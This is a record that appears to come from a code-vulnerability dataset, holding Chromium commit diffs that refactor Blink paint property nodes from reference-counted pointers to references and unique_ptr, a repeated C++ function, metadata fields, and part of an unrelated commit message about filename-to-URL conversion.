"third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.h", "status": "modified", "additions": 12, "deletions": 13, "changes": 25, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -56,18 +56,17 @@ class PLATFORM_EXPORT ScrollPaintPropertyNode\n };\n \n // This node is really a sentinel, and does not represent a real scroll.\n- static ScrollPaintPropertyNode* Root();\n+ static const ScrollPaintPropertyNode& Root();\n \n- static scoped_refptr<ScrollPaintPropertyNode> Create(\n- scoped_refptr<const ScrollPaintPropertyNode> parent,\n+ static std::unique_ptr<ScrollPaintPropertyNode> Create(\n+ const ScrollPaintPropertyNode& parent,\n State&& state) {\n- return base::AdoptRef(\n- new ScrollPaintPropertyNode(std::move(parent), std::move(state)));\n+ return base::WrapUnique(\n+ new ScrollPaintPropertyNode(&parent, std::move(state)));\n }\n \n- bool Update(scoped_refptr<const ScrollPaintPropertyNode> parent,\n- State&& state) {\n- bool parent_changed = SetParent(parent);\n+ bool Update(const ScrollPaintPropertyNode& parent, State&& state) {\n+ bool parent_changed = SetParent(&parent);\n if (state == state_)\n return parent_changed;\n \n@@ -118,8 +117,9 @@ class PLATFORM_EXPORT ScrollPaintPropertyNode\n #if DCHECK_IS_ON()\n // The clone function is used by FindPropertiesNeedingUpdate.h for recording\n // a scroll node before it has been updated, to later detect changes.\n- scoped_refptr<ScrollPaintPropertyNode> Clone() const {\n- return base::AdoptRef(new ScrollPaintPropertyNode(Parent(), State(state_)));\n+ std::unique_ptr<ScrollPaintPropertyNode> Clone() const {\n+ return base::WrapUnique(\n+ new ScrollPaintPropertyNode(Parent(), State(state_)));\n }\n \n // The equality operator is used by FindPropertiesNeedingUpdate.h for checking\n@@ -132,9 +132,8 @@ class PLATFORM_EXPORT ScrollPaintPropertyNode\n std::unique_ptr<JSONObject> ToJSON() const;\n \n private:\n- ScrollPaintPropertyNode(scoped_refptr<const ScrollPaintPropertyNode> parent,\n- State&& state)\n- : PaintPropertyNode(std::move(parent)), state_(std::move(state)) {\n+ ScrollPaintPropertyNode(const ScrollPaintPropertyNode* parent, State&& state)\n+ : PaintPropertyNode(parent), state_(std::move(state)) {\n Validate();\n }\n "}<_**next**_>{"sha": "4cdd6e5fb2f54ed99dd3c9df5a69560b27a316ac", "filename": "third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.cc", "status": "modified", "additions": 7, "deletions": 8, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -8,14 +8,13 @@ namespace blink {\n \n // The root of the transform tree. The root transform node references the root\n // scroll node.\n-TransformPaintPropertyNode* TransformPaintPropertyNode::Root() {\n- DEFINE_STATIC_REF(\n+const TransformPaintPropertyNode& TransformPaintPropertyNode::Root() {\n+ DEFINE_STATIC_LOCAL(\n TransformPaintPropertyNode, root,\n- base::AdoptRef(new TransformPaintPropertyNode(\n- nullptr,\n- State{TransformationMatrix(), FloatPoint3D(), false,\n- BackfaceVisibility::kVisible, 0, CompositingReason::kNone,\n- CompositorElementId(), ScrollPaintPropertyNode::Root()})));\n+ (nullptr,\n+ State{TransformationMatrix(), FloatPoint3D(), false,\n+ BackfaceVisibility::kVisible, 0, CompositingReason::kNone,\n+ CompositorElementId(), &ScrollPaintPropertyNode::Root()}));\n return root;\n }\n \n@@ -61,7 +60,7 @@ std::unique_ptr<JSONObject> TransformPaintPropertyNode::ToJSON() const {\n state_.compositor_element_id.ToString().c_str());\n }\n if (state_.scroll)\n- json->SetString(\"scroll\", String::Format(\"%p\", state_.scroll.get()));\n+ json->SetString(\"scroll\", String::Format(\"%p\", state_.scroll));\n return json;\n }\n "}<_**next**_>{"sha": "4cd3696dbe798ca78bbf7b8be2749f013c6cff59", "filename": "third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.h", "status": "modified", "additions": 14, "deletions": 18, "changes": 32, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/transform_paint_property_node.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -48,7 +48,7 @@ class PLATFORM_EXPORT TransformPaintPropertyNode\n unsigned rendering_context_id = 0;\n CompositingReasons direct_compositing_reasons = CompositingReason::kNone;\n CompositorElementId compositor_element_id;\n- scoped_refptr<const ScrollPaintPropertyNode> scroll;\n+ const ScrollPaintPropertyNode* scroll = nullptr;\n \n bool operator==(const State& o) const {\n return matrix == o.matrix && origin == o.origin &&\n@@ -63,18 +63,17 @@ class PLATFORM_EXPORT TransformPaintPropertyNode\n \n // This node is really a sentinel, and does not represent a real transform\n // space.\n- static TransformPaintPropertyNode* Root();\n+ static const TransformPaintPropertyNode& Root();\n \n- static scoped_refptr<TransformPaintPropertyNode> Create(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+ static std::unique_ptr<TransformPaintPropertyNode> Create(\n+ const TransformPaintPropertyNode& parent,\n State&& state) {\n- return base::AdoptRef(\n- new TransformPaintPropertyNode(std::move(parent), std::move(state)));\n+ return base::WrapUnique(\n+ new TransformPaintPropertyNode(&parent, std::move(state)));\n }\n \n- bool Update(scoped_refptr<const TransformPaintPropertyNode> parent,\n- State&& state) {\n- bool parent_changed = SetParent(parent);\n+ bool Update(const TransformPaintPropertyNode& parent, State&& state) {\n+ bool parent_changed = SetParent(&parent);\n if (state == state_)\n return parent_changed;\n \n@@ -88,9 +87,7 @@ class PLATFORM_EXPORT TransformPaintPropertyNode\n const FloatPoint3D& Origin() const { return state_.origin; }\n \n // The associated scroll node, or nullptr otherwise.\n- const ScrollPaintPropertyNode* ScrollNode() const {\n- return state_.scroll.get();\n- }\n+ const ScrollPaintPropertyNode* ScrollNode() const { return state_.scroll; }\n \n // If this is a scroll offset translation (i.e., has an associated scroll\n // node), returns this. Otherwise, returns the transform node that this node\n@@ -129,8 +126,8 @@ class PLATFORM_EXPORT TransformPaintPropertyNode\n #if DCHECK_IS_ON()\n // The clone function is used by FindPropertiesNeedingUpdate.h for recording\n // a transform node before it has been updated, to later detect changes.\n- scoped_refptr<TransformPaintPropertyNode> Clone() const {\n- return base::AdoptRef(\n+ std::unique_ptr<TransformPaintPropertyNode> Clone() const {\n+ return base::WrapUnique(\n new TransformPaintPropertyNode(Parent(), State(state_)));\n }\n \n@@ -147,10 +144,9 @@ class PLATFORM_EXPORT TransformPaintPropertyNode\n size_t CacheMemoryUsageInBytes() const;\n \n private:\n- TransformPaintPropertyNode(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n- State&& state)\n- : PaintPropertyNode(std::move(parent)), state_(std::move(state)) {\n+ TransformPaintPropertyNode(const TransformPaintPropertyNode* parent,\n+ State&& state)\n+ : PaintPropertyNode(parent), state_(std::move(state)) {\n Validate();\n }\n "}<_**next**_>{"sha": "945dbf1c43960e58a95456696520fcd9ef69f68f", "filename": "third_party/blink/renderer/platform/testing/paint_property_test_helpers.h", "status": "modified", "additions": 41, "deletions": 31, "changes": 72, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/paint_property_test_helpers.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/paint_property_test_helpers.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/testing/paint_property_test_helpers.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -12,33 +12,43 @@\n \n namespace blink {\n \n-inline scoped_refptr<EffectPaintPropertyNode> CreateOpacityEffect(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space,\n- scoped_refptr<const ClipPaintPropertyNode> output_clip,\n+// Convenient shorthands.\n+inline const TransformPaintPropertyNode& t0() {\n+ return TransformPaintPropertyNode::Root();\n+}\n+inline const ClipPaintPropertyNode& c0() {\n+ return ClipPaintPropertyNode::Root();\n+}\n+inline const EffectPaintPropertyNode& e0() {\n+ return EffectPaintPropertyNode::Root();\n+}\n+\n+inline std::unique_ptr<EffectPaintPropertyNode> CreateOpacityEffect(\n+ const EffectPaintPropertyNode& parent,\n+ const TransformPaintPropertyNode* local_transform_space,\n+ const ClipPaintPropertyNode* output_clip,\n float opacity,\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n EffectPaintPropertyNode::State state;\n state.local_transform_space = local_transform_space;\n state.output_clip = output_clip;\n state.opacity = opacity;\n state.direct_compositing_reasons = compositing_reasons;\n- return EffectPaintPropertyNode::Create(std::move(parent), std::move(state));\n+ return EffectPaintPropertyNode::Create(parent, std::move(state));\n }\n \n-inline scoped_refptr<EffectPaintPropertyNode> CreateOpacityEffect(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n+inline std::unique_ptr<EffectPaintPropertyNode> CreateOpacityEffect(\n+ const EffectPaintPropertyNode& parent,\n float opacity,\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n- return CreateOpacityEffect(parent, parent->LocalTransformSpace(),\n- parent->OutputClip(), opacity,\n- compositing_reasons);\n+ return CreateOpacityEffect(parent, parent.LocalTransformSpace(),\n+ parent.OutputClip(), opacity, compositing_reasons);\n }\n \n-inline scoped_refptr<EffectPaintPropertyNode> CreateFilterEffect(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space,\n- scoped_refptr<const ClipPaintPropertyNode> output_clip,\n+inline std::unique_ptr<EffectPaintPropertyNode> CreateFilterEffect(\n+ const EffectPaintPropertyNode& parent,\n+ const TransformPaintPropertyNode* local_transform_space,\n+ const ClipPaintPropertyNode* output_clip,\n CompositorFilterOperations filter,\n const FloatPoint& paint_offset = FloatPoint(),\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n@@ -48,22 +58,22 @@ inline scoped_refptr<EffectPaintPropertyNode> CreateFilterEffect(\n state.filter = std::move(filter);\n state.paint_offset = paint_offset;\n state.direct_compositing_reasons = compositing_reasons;\n- return EffectPaintPropertyNode::Create(std::move(parent), std::move(state));\n+ return EffectPaintPropertyNode::Create(parent, std::move(state));\n }\n \n-inline scoped_refptr<EffectPaintPropertyNode> CreateFilterEffect(\n- scoped_refptr<const EffectPaintPropertyNode> parent,\n+inline std::unique_ptr<EffectPaintPropertyNode> CreateFilterEffect(\n+ const EffectPaintPropertyNode& parent,\n CompositorFilterOperations filter,\n const FloatPoint& paint_offset = FloatPoint(),\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n- return CreateFilterEffect(parent, parent->LocalTransformSpace(),\n- parent->OutputClip(), filter, paint_offset,\n+ return CreateFilterEffect(parent, parent.LocalTransformSpace(),\n+ parent.OutputClip(), filter, paint_offset,\n compositing_reasons);\n }\n \n-inline scoped_refptr<ClipPaintPropertyNode> CreateClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space,\n+inline std::unique_ptr<ClipPaintPropertyNode> CreateClip(\n+ const ClipPaintPropertyNode& parent,\n+ const TransformPaintPropertyNode* local_transform_space,\n const FloatRoundedRect& clip_rect,\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n ClipPaintPropertyNode::State state;\n@@ -73,9 +83,9 @@ inline scoped_refptr<ClipPaintPropertyNode> CreateClip(\n return ClipPaintPropertyNode::Create(parent, std::move(state));\n }\n \n-inline scoped_refptr<ClipPaintPropertyNode> CreateClipPathClip(\n- scoped_refptr<const ClipPaintPropertyNode> parent,\n- scoped_refptr<const TransformPaintPropertyNode> local_transform_space,\n+inline std::unique_ptr<ClipPaintPropertyNode> CreateClipPathClip(\n+ const ClipPaintPropertyNode& parent,\n+ const TransformPaintPropertyNode* local_transform_space,\n const FloatRoundedRect& clip_rect) {\n ClipPaintPropertyNode::State state;\n state.local_transform_space = local_transform_space;\n@@ -84,8 +94,8 @@ inline scoped_refptr<ClipPaintPropertyNode> CreateClipPathClip(\n return ClipPaintPropertyNode::Create(parent, std::move(state));\n }\n \n-inline scoped_refptr<TransformPaintPropertyNode> CreateTransform(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+inline std::unique_ptr<TransformPaintPropertyNode> CreateTransform(\n+ const TransformPaintPropertyNode& parent,\n const TransformationMatrix& matrix,\n const FloatPoint3D& origin = FloatPoint3D(),\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n@@ -96,16 +106,16 @@ inline scoped_refptr<TransformPaintPropertyNode> CreateTransform(\n return TransformPaintPropertyNode::Create(parent, std::move(state));\n }\n \n-inline scoped_refptr<TransformPaintPropertyNode> CreateScrollTranslation(\n- scoped_refptr<const TransformPaintPropertyNode> parent,\n+inline std::unique_ptr<TransformPaintPropertyNode> CreateScrollTranslation(\n+ const TransformPaintPropertyNode& parent,\n float offset_x,\n float offset_y,\n- scoped_refptr<const ScrollPaintPropertyNode> scroll,\n+ const ScrollPaintPropertyNode& scroll,\n CompositingReasons compositing_reasons = CompositingReason::kNone) {\n TransformPaintPropertyNode::State state;\n state.matrix.Translate(offset_x, offset_y);\n state.direct_compositing_reasons = compositing_reasons;\n- state.scroll = scroll;\n+ state.scroll = &scroll;\n return TransformPaintPropertyNode::Create(parent, std::move(state));\n }\n "}<_**next**_>{"sha": "85d12e9c14ed76cdd15d2cd8664d268816f3763b", "filename": "third_party/blink/renderer/platform/testing/test_paint_artifact.cc", "status": "modified", "additions": 10, "deletions": 11, "changes": 21, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/test_paint_artifact.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/test_paint_artifact.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/testing/test_paint_artifact.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -44,19 +44,18 @@ TestPaintArtifact::TestPaintArtifact() : display_item_list_(0), built_(false) {}\n TestPaintArtifact::~TestPaintArtifact() = default;\n \n TestPaintArtifact& TestPaintArtifact::Chunk(\n- scoped_refptr<const TransformPaintPropertyNode> transform,\n- scoped_refptr<const ClipPaintPropertyNode> clip,\n- scoped_refptr<const EffectPaintPropertyNode> effect) {\n+ const TransformPaintPropertyNode& transform,\n+ const ClipPaintPropertyNode& clip,\n+ const EffectPaintPropertyNode& effect) {\n return Chunk(NewClient(), transform, clip, effect);\n }\n \n TestPaintArtifact& TestPaintArtifact::Chunk(\n DisplayItemClient& client,\n- scoped_refptr<const TransformPaintPropertyNode> transform,\n- scoped_refptr<const ClipPaintPropertyNode> clip,\n- scoped_refptr<const EffectPaintPropertyNode> effect) {\n- return Chunk(client,\n- PropertyTreeState(transform.get(), clip.get(), effect.get()));\n+ const TransformPaintPropertyNode& transform,\n+ const ClipPaintPropertyNode& clip,\n+ const EffectPaintPropertyNode& effect) {\n+ return Chunk(client, PropertyTreeState(&transform, &clip, &effect));\n }\n \n TestPaintArtifact& TestPaintArtifact::Chunk(\n@@ -112,15 +111,15 @@ TestPaintArtifact& TestPaintArtifact::ForeignLayer(\n }\n \n TestPaintArtifact& TestPaintArtifact::ScrollHitTest(\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset) {\n+ const TransformPaintPropertyNode& scroll_offset) {\n return ScrollHitTest(NewClient(), scroll_offset);\n }\n \n TestPaintArtifact& TestPaintArtifact::ScrollHitTest(\n DisplayItemClient& client,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset) {\n+ const TransformPaintPropertyNode& scroll_offset) {\n display_item_list_.AllocateAndConstruct<ScrollHitTestDisplayItem>(\n- client, DisplayItem::kScrollHitTest, std::move(scroll_offset));\n+ client, DisplayItem::kScrollHitTest, scroll_offset);\n return *this;\n }\n "}<_**next**_>{"sha": "ec1f6592cd756ba7fceafaf50640ef43de05f31b", "filename": "third_party/blink/renderer/platform/testing/test_paint_artifact.h", "status": "modified", "additions": 8, "deletions": 8, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/test_paint_artifact.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/testing/test_paint_artifact.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/testing/test_paint_artifact.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -46,24 +46,24 @@ class TestPaintArtifact {\n ~TestPaintArtifact();\n \n // Add to the artifact.\n- TestPaintArtifact& Chunk(scoped_refptr<const TransformPaintPropertyNode>,\n- scoped_refptr<const ClipPaintPropertyNode>,\n- scoped_refptr<const EffectPaintPropertyNode>);\n+ TestPaintArtifact& Chunk(const TransformPaintPropertyNode&,\n+ const ClipPaintPropertyNode&,\n+ const EffectPaintPropertyNode&);\n TestPaintArtifact& Chunk(const PropertyTreeState&);\n TestPaintArtifact& RectDrawing(const FloatRect& bounds, Color);\n TestPaintArtifact& ForeignLayer(const FloatPoint&,\n const IntSize&,\n scoped_refptr<cc::Layer>);\n TestPaintArtifact& ScrollHitTest(\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset);\n+ const TransformPaintPropertyNode& scroll_offset);\n TestPaintArtifact& KnownToBeOpaque();\n \n // Add to the artifact, with specified display item client. These are used\n // to test incremental paint artifact updates.\n TestPaintArtifact& Chunk(DisplayItemClient&,\n- scoped_refptr<const TransformPaintPropertyNode>,\n- scoped_refptr<const ClipPaintPropertyNode>,\n- scoped_refptr<const EffectPaintPropertyNode>);\n+ const TransformPaintPropertyNode&,\n+ const ClipPaintPropertyNode&,\n+ const EffectPaintPropertyNode&);\n TestPaintArtifact& Chunk(DisplayItemClient&, const PropertyTreeState&);\n TestPaintArtifact& RectDrawing(DisplayItemClient&,\n const FloatRect& bounds,\n@@ -74,7 +74,7 @@ class TestPaintArtifact {\n scoped_refptr<cc::Layer>);\n TestPaintArtifact& ScrollHitTest(\n DisplayItemClient&,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset);\n+ const TransformPaintPropertyNode& scroll_offset);\n \n // Can't add more things once this is called.\n const PaintArtifact& Build();"}
|
void FragmentPaintPropertyTreeBuilder::UpdateForChildren() {
#if DCHECK_IS_ON()
FindObjectPropertiesNeedingUpdateScope check_needs_update_scope(
object_, fragment_data_, full_context_.force_subtree_update);
#endif
if (properties_) {
UpdateInnerBorderRadiusClip();
UpdateOverflowClip();
UpdatePerspective();
UpdateSvgLocalToBorderBoxTransform();
UpdateScrollAndScrollTranslation();
}
UpdateOutOfFlowContext();
}
|
void FragmentPaintPropertyTreeBuilder::UpdateForChildren() {
#if DCHECK_IS_ON()
FindObjectPropertiesNeedingUpdateScope check_needs_update_scope(
object_, fragment_data_, full_context_.force_subtree_update);
#endif
if (properties_) {
UpdateInnerBorderRadiusClip();
UpdateOverflowClip();
UpdatePerspective();
UpdateSvgLocalToBorderBoxTransform();
UpdateScrollAndScrollTranslation();
}
UpdateOutOfFlowContext();
}
|
C
| null | null | null |
@@ -39,13 +39,13 @@ namespace blink {
PaintPropertyTreeBuilderFragmentContext::
PaintPropertyTreeBuilderFragmentContext()
- : current_effect(EffectPaintPropertyNode::Root()) {
+ : current_effect(&EffectPaintPropertyNode::Root()) {
current.clip = absolute_position.clip = fixed_position.clip =
- ClipPaintPropertyNode::Root();
+ &ClipPaintPropertyNode::Root();
current.transform = absolute_position.transform = fixed_position.transform =
- TransformPaintPropertyNode::Root();
+ &TransformPaintPropertyNode::Root();
current.scroll = absolute_position.scroll = fixed_position.scroll =
- ScrollPaintPropertyNode::Root();
+ &ScrollPaintPropertyNode::Root();
}
void PaintPropertyTreeBuilder::SetupContextForFrame(
@@ -295,7 +295,7 @@ void FragmentPaintPropertyTreeBuilder::UpdatePaintOffsetTranslation(
RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())
state.rendering_context_id = context_.current.rendering_context_id;
OnUpdate(properties_->UpdatePaintOffsetTranslation(
- context_.current.transform, std::move(state)));
+ *context_.current.transform, std::move(state)));
context_.current.transform = properties_->PaintOffsetTranslation();
if (object_.IsLayoutView()) {
context_.absolute_position.transform =
@@ -331,7 +331,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateTransformForNonRootSVG() {
if (NeedsTransformForNonRootSVG(object_)) {
// The origin is included in the local transform, so leave origin empty.
OnUpdate(properties_->UpdateTransform(
- context_.current.transform,
+ *context_.current.transform,
TransformPaintPropertyNode::State{transform}));
} else {
OnClear(properties_->ClearTransform());
@@ -449,7 +449,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateTransform() {
object_.UniqueId(), CompositorElementIdNamespace::kPrimary);
}
- OnUpdate(properties_->UpdateTransform(context_.current.transform,
+ OnUpdate(properties_->UpdateTransform(*context_.current.transform,
std::move(state)));
} else {
OnClear(properties_->ClearTransform());
@@ -578,7 +578,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {
combined_clip.Intersect(*clip_path_clip);
OnUpdateClip(properties_->UpdateMaskClip(
- context_.current.clip,
+ *context_.current.clip,
ClipPaintPropertyNode::State{context_.current.transform,
FloatRoundedRect(combined_clip)}));
output_clip = properties_->MaskClip();
@@ -607,8 +607,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {
state.compositor_element_id = CompositorElementIdFromUniqueObjectId(
object_.UniqueId(), CompositorElementIdNamespace::kPrimary);
}
- OnUpdate(
- properties_->UpdateEffect(context_.current_effect, std::move(state)));
+ OnUpdate(properties_->UpdateEffect(*context_.current_effect,
+ std::move(state)));
if (mask_clip || has_spv1_composited_clip_path) {
EffectPaintPropertyNode::State mask_state;
@@ -623,16 +623,16 @@ void FragmentPaintPropertyTreeBuilder::UpdateEffect() {
object_.UniqueId(),
CompositorElementIdNamespace::kEffectMask);
}
- OnUpdate(properties_->UpdateMask(properties_->Effect(),
+ OnUpdate(properties_->UpdateMask(*properties_->Effect(),
std::move(mask_state)));
} else {
OnClear(properties_->ClearMask());
}
if (has_mask_based_clip_path) {
- const EffectPaintPropertyNode* parent = has_spv1_composited_clip_path
- ? properties_->Mask()
- : properties_->Effect();
+ const EffectPaintPropertyNode& parent = has_spv1_composited_clip_path
+ ? *properties_->Mask()
+ : *properties_->Effect();
EffectPaintPropertyNode::State clip_path_state;
clip_path_state.local_transform_space = context_.current.transform;
clip_path_state.output_clip = output_clip;
@@ -746,8 +746,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateFilter() {
object_.UniqueId(), CompositorElementIdNamespace::kEffectFilter);
}
- OnUpdate(
- properties_->UpdateFilter(context_.current_effect, std::move(state)));
+ OnUpdate(properties_->UpdateFilter(*context_.current_effect,
+ std::move(state)));
} else {
OnClear(properties_->ClearFilter());
}
@@ -775,7 +775,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateFragmentClip() {
if (NeedsPaintPropertyUpdate()) {
if (context_.fragment_clip) {
OnUpdateClip(properties_->UpdateFragmentClip(
- context_.current.clip,
+ *context_.current.clip,
ClipPaintPropertyNode::State{context_.current.transform,
ToClipRect(*context_.fragment_clip)}));
} else {
@@ -802,7 +802,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateCssClip() {
// copy from in-flow context later at updateOutOfFlowContext() step.
DCHECK(object_.CanContainAbsolutePositionObjects());
OnUpdateClip(properties_->UpdateCssClip(
- context_.current.clip,
+ *context_.current.clip,
ClipPaintPropertyNode::State{context_.current.transform,
ToClipRect(ToLayoutBox(object_).ClipRect(
context_.current.paint_offset))}));
@@ -835,7 +835,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateClipPathClip(
state.clip_rect =
FloatRoundedRect(FloatRect(*fragment_data_.ClipPathBoundingBox()));
state.clip_path = fragment_data_.ClipPathPath();
- OnUpdateClip(properties_->UpdateClipPathClip(context_.current.clip,
+ OnUpdateClip(properties_->UpdateClipPathClip(*context_.current.clip,
std::move(state)));
}
}
@@ -964,7 +964,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOverflowControlsClip() {
// Clip overflow controls to the border box rect. Not wrapped with
// OnUpdateClip() because this clip doesn't affect descendants.
properties_->UpdateOverflowControlsClip(
- context_.current.clip,
+ *context_.current.clip,
ClipPaintPropertyNode::State{
context_.current.transform,
ToClipRect(LayoutRect(context_.current.paint_offset,
@@ -1000,7 +1000,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateInnerBorderRadiusClip() {
LayoutRect(context_.current.paint_offset, box.Size()));
}
OnUpdateClip(properties_->UpdateInnerBorderRadiusClip(
- context_.current.clip, std::move(state)));
+ *context_.current.clip, std::move(state)));
} else {
OnClearClip(properties_->ClearInnerBorderRadiusClip());
}
@@ -1071,7 +1071,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOverflowClip() {
bool equal_ignoring_hit_test_rects =
!!existing &&
existing->EqualIgnoringHitTestRects(context_.current.clip, state);
- OnUpdateClip(properties_->UpdateOverflowClip(context_.current.clip,
+ OnUpdateClip(properties_->UpdateOverflowClip(*context_.current.clip,
std::move(state)),
equal_ignoring_hit_test_rects);
} else {
@@ -1113,7 +1113,7 @@ void FragmentPaintPropertyTreeBuilder::UpdatePerspective() {
if (RuntimeEnabledFeatures::SlimmingPaintV2Enabled() ||
RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())
state.rendering_context_id = context_.current.rendering_context_id;
- OnUpdate(properties_->UpdatePerspective(context_.current.transform,
+ OnUpdate(properties_->UpdatePerspective(*context_.current.transform,
std::move(state)));
} else {
OnClear(properties_->ClearPerspective());
@@ -1138,7 +1138,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateSvgLocalToBorderBoxTransform() {
if (!transform_to_border_box.IsIdentity() &&
NeedsSVGLocalToBorderBoxTransform(object_)) {
OnUpdate(properties_->UpdateSvgLocalToBorderBoxTransform(
- context_.current.transform,
+ *context_.current.transform,
TransformPaintPropertyNode::State{transform_to_border_box}));
} else {
OnClear(properties_->ClearSvgLocalToBorderBoxTransform());
@@ -1220,8 +1220,8 @@ void FragmentPaintPropertyTreeBuilder::UpdateScrollAndScrollTranslation() {
RuntimeEnabledFeatures::BlinkGenPropertyTreesEnabled())
state.compositor_element_id = scrollable_area->GetCompositorElementId();
- OnUpdate(
- properties_->UpdateScroll(context_.current.scroll, std::move(state)));
+ OnUpdate(properties_->UpdateScroll(*context_.current.scroll,
+ std::move(state)));
} else {
OnClear(properties_->ClearScroll());
}
@@ -1241,7 +1241,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateScrollAndScrollTranslation() {
state.rendering_context_id = context_.current.rendering_context_id;
}
state.scroll = properties_->Scroll();
- OnUpdate(properties_->UpdateScrollTranslation(context_.current.transform,
+ OnUpdate(properties_->UpdateScrollTranslation(*context_.current.transform,
std::move(state)));
} else {
OnClear(properties_->ClearScrollTranslation());
@@ -1296,7 +1296,7 @@ void FragmentPaintPropertyTreeBuilder::UpdateOutOfFlowContext() {
} else {
if (NeedsPaintPropertyUpdate()) {
OnUpdate(properties_->UpdateCssClipFixedPosition(
- context_.fixed_position.clip,
+ *context_.fixed_position.clip,
ClipPaintPropertyNode::State{css_clip->LocalTransformSpace(),
css_clip->ClipRect()}));
}
|
Chrome
|
f911e11e7f6b5c0d6f5ee694a9871de6619889f7
|
95f5260501ac2660f29fb98ab5cb351a956c1dab
| 0
|
void FragmentPaintPropertyTreeBuilder::UpdateForChildren() {
#if DCHECK_IS_ON()
FindObjectPropertiesNeedingUpdateScope check_needs_update_scope(
object_, fragment_data_, full_context_.force_subtree_update);
#endif
if (properties_) {
UpdateInnerBorderRadiusClip();
UpdateOverflowClip();
UpdatePerspective();
UpdateSvgLocalToBorderBoxTransform();
UpdateScrollAndScrollTranslation();
}
UpdateOutOfFlowContext();
}
|
130,265
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2014-04
| null | 0
|
https://github.com/chromium/chromium/commit/e93dc535728da259ec16d1c3cc393f80b25f64ae
|
e93dc535728da259ec16d1c3cc393f80b25f64ae
|
Add a unit test that filenames aren't unintentionally converted to URLs.
Also fixes two issues in OSExchangeDataProviderWin:
- It used a disjoint set of clipboard formats when handling
GetUrl(..., true /* filename conversion */) vs GetFilenames(...), so the
actual returned results would vary depending on which one was called.
